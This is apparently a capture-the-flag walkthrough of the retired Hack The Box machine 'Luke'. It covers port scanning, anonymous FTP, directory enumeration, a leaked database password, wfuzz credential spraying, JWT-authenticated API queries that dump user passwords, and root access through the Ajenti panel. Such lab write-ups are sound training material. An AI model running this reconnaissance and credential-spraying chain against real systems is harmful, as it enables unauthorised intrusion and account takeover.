This post documents the complete walkthrough of Luke, a retired vulnerable VM created by H4d3s, and hosted at Hack The Box. If you are uncomfortable with spoilers, please stop reading now.


Luke is a retired vulnerable VM from Hack The Box.

Information Gathering

Let’s start with a masscan probe to establish the open ports in the host.

# masscan -e tun0 -p1-65535,U:1-65535 --rate=1000

Starting masscan 1.0.4 ( at 2019-06-01 08:59:38 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8000/tcp on                                  
Discovered open port 3000/tcp on                                  
Discovered open port 22/tcp on                                    
Discovered open port 21/tcp on                                    
Discovered open port 80/tcp on

masscan finds several open ports. Let’s do one better with nmap scanning the discovered ports to establish the services.

# nmap -n -v -Pn -p21,22,80,3000,8000 -A --reason -oN nmap.txt
21/tcp   open  ftp     syn-ack ttl 63 vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    2 0        0             512 Apr 14 12:35 webapp
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to
|      Logged in as ftp
|      TYPE: ASCII
|      No session upload bandwidth limit
|      No session download bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3+ (ext.1) - secure, fast, stable
|_End of status
22/tcp   open  ssh?    syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods:
|   Supported Methods: GET POST OPTIONS HEAD TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open  http    syn-ack ttl 63 Node.js Express framework
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open  http    syn-ack ttl 63 Ajenti http control panel
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Ajenti

It appears to be a FreeBSD box. Interesting. There’s anonymous FTP, along with Node.js Express Framework (3000/tcp), Apache HTTP Server (80/tcp) and Ajenti Server Admin Panel (8000/tcp).

Anonymous FTP

There’s only one directory webapp and one file for_Chihiro.txt. Here’s what the file says. Not too sure what it means though for now.

Dear Chihiro !!

As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of
the actual website I've created .
Normally you should know where to look but hurry up because I will delete them soon because of our security policies !


HTTP Service

Here’s how the http service looks like.


Directory/File Enumeration

Let’s check the site out with dirbuster.

Dir found: / - 200
Dir found: /css/ - 200
Dir found: /js/ - 200
Dir found: /management/ - 401
Dir found: /member/ - 200
Dir found: /vendor/ - 200
Dir found: /vendor/bootstrap/ - 200
Dir found: /vendor/bootstrap/css/ - 200
Dir found: /vendor/bootstrap/js/ - 200
Dir found: /vendor/jquery/ - 200
Dir found: /vendor/jquery-easing/ - 200
File found: /config.php - 200
File found: /css/bootstrap.min.css - 200
File found: /css/scrolling-nav.css - 200
File found: /css/signin.css - 200
File found: /js/scrolling-nav.js - 200
File found: /login.php - 200

login.php and config.php sure look interesting.





Not too shabby. We got credentials (root:Zk6heYCyv6ZE9Xcg) for the database. We also got a directory /management protected by Basic authentication.


Node.js Express Framework

There’s Node.js Express Framework at 3000/tcp.


There are two interesting endpoints: login and users, found through directory enumeration.





Now that we got Zk6heYCyv6ZE9Xcg as password, let’s use wfuzz as a cracker of sorts and see if we can proceed further with 3000/tcp.

# wfuzz -w users.txt -d '{"username":"FUZZ","password":"Zk6heYCyv6ZE9Xcg"}' -H "Content-Type: application/json" http://luke:3000/login                                       
* Wfuzz 2.2.1 - The Web Fuzzer                           *

Target: HTTP://luke:3000/login
Total requests: 8

ID      Response   Lines      Word         Chars          Request

00007:  C=403      0 L         1 W            9 Ch        "administrator"
00008:  C=403      0 L         1 W            9 Ch        "root"
00001:  C=403      0 L         1 W            9 Ch        "chihiro"
00002:  C=403      0 L         1 W            9 Ch        "Chihiro"
00003:  C=403      0 L         1 W            9 Ch        "derry"
00004:  C=403      0 L         1 W            9 Ch        "Derry"
00005:  C=200      0 L         2 W          219 Ch        "admin"
00006:  C=403      0 L         1 W            9 Ch        "guest"

Total time: 0.612439
Processed Requests: 8
Filtered Requests: 0
Requests/sec.: 13.06250

Awesome. We have a hit with admin as the username.

# curl -i -d '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' -H "Content-Type: application/json" http://luke:3000/login
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 219
ETag: W/"db-1BiQjPHn0LbIIGnMLSY47tA3+6c"
Date: Sun, 02 Jun 2019 09:05:54 GMT
Connection: keep-alive

{"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTU5NDY2MzU0LCJleHAiOjE1NTk1NTI3NTR9.VKf4PAy6kRXwCYUVUoat4Heq0FRlcG3Bw2_oiL_067A"}

Looks like JWT has something to do with it. Armed with this insight, I wrote a simple bash script to test the endpoints.


TOKEN=$(curl -s \
             -d "{\"username\":\"$USER\",\"password\":\"$PASS\"}" \
             -H "Content-Type: application/json" \
             http://$HOST:$PORT/login \
        | jq . \
        | grep token \
        | cut -d':' -f2 \
        | tr -d ' "')

curl -s \
     -H "Authorization: Bearer $TOKEN" \
     "http://$HOST:$PORT/$WHAT" \
| jq .

Running without argument yields a welcome message.


Running with users yields the users and their roles.


Taking it up a notch reveals some very interesting results.

./ users/admin


./ users/derry


./ users/yuri


./ users/dory


Let’s consolidate these usersnames and passwords, and feed them to Hydra just to see what gives.


Damn. That was easy. :laughing: Let’s check it out.


Well well, what have we here?


Looks like we have the root password to the Ajenti Control Panel. :triumph:

Ajenti Server Admin Panel

Last but not least, it appears that we have an Ajenti installation at 8000/tcp as well.


Time to check out those Ajenti credentials we got earlier on!


Boom. We are in the endgame now.

Privilege Escalation

We can easily open a terminal as root to capture both user.txt and root.txt.





Easy peasy lemon squeezy.